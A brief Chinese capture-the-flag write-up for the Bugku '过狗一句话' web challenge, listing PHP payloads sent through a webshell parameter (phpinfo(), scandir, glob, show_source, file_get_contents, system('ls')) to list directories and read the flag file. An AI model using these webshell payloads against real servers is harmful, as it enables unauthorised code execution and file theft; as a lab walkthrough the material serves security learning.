bugku 过狗一句话 writeup

参考:https://blog.csdn.net/qq_30464257/article/details/81160181

 

 

 

 

 

 

 

 

PHP file_get_contents() 函数

 

例子

<?php
echo file_get_contents("test.txt");
?>

输出:

This is a test file with test text.

首先将s赋值为phpinfo(),发现可以访问,说明s可以输出我们输入的结果

搜索到的几种解法:

    1. s=print_r(scandir('./')) 然后读取fl4g.txt

    2. s=print_r(glob("*.*")) 然后读取show_source("fl4g.txt")

    3. 使用file_get_contents("flag.txt")读取文件

    eg: 还有system('ls')的读取方法但是这里应该没有权限.

 

用的print_r(glob('*.php'));读取敏感文件

print_r(glob('*.txt'))